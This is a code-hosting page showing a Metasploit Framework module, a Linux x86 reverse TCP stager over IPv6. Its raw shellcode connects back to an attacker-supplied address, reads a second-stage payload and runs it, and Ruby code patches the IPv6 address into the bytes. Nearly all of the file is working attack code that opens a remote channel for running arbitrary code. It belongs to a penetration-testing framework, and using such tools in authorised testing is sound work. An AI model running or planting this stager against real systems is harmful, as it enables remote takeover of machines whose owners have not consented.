PageRenderTime 24ms CodeModel.GetById 9ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb

https://github.com/Jonono2/metasploit-framework
Ruby | 65 lines | 47 code | 12 blank | 6 comment | 2 complexity | 3de827e4521274e7b3f876284998854e MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-3.0, LGPL-2.1, GPL-2.0
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'msf/core/handler/reverse_tcp'
  7. # Linux Reverse TCP/IPv6 Stager
  8. module Metasploit3
  9. include Msf::Payload::Stager
  10. include Msf::Payload::Linux
  11. def self.handler_type_alias
  12. "reverse_ipv6_tcp"
  13. end
  14. def initialize(info = {})
  15. super(merge_info(info,
  16. 'Name' => 'Reverse TCP Stager (IPv6)',
  17. 'Description' => 'Connect back to attacker over IPv6',
  18. 'Author' => 'kris katterjohn',
  19. 'License' => MSF_LICENSE,
  20. 'Platform' => 'linux',
  21. 'Arch' => ARCH_X86,
  22. 'Handler' => Msf::Handler::ReverseTcp,
  23. 'Stager' => {
  24. 'Offsets' => {
  25. 'ADDR' => [ 0x15, 'foo' ],
  26. 'LPORT' => [ 0x2c, 'n' ],
  27. 'SCOPEID' => [ 0x11, 'V' ]
  28. },
  29. 'Payload' =>
  30. "\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80\x96\x99" +
  31. "\x68\x00\x00\x00\x00\x68\xde\xad\xbe\xef\x68\xde\xad\xbe\xef\x68" +
  32. "\xde\xad\xbe\xef\x68\xde\xad\xbe\xef\x52\x66\x68\xbf\xbf\x66\x68" +
  33. "\x0a\x00\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd" +
  34. "\x80\x89\xf3\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
  35. }
  36. ))
  37. register_options([
  38. OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
  39. ])
  40. end
  41. # This isn't pretty, but then again neither are IPv6 addresses --Kris
  42. def replace_var(raw, name, offset, pack)
  43. return false unless name == 'ADDR'
  44. addr = ""
  45. substitute_vars(addr, { 'LHOST' => [ 0, 'ADDR6' ] })
  46. repl = ""
  47. addr.unpack('V*').reverse.each do |x|
  48. repl += Rex::Arch::X86.push_dword(x)
  49. end
  50. raw[offset, repl.length] = repl
  51. true
  52. end
  53. end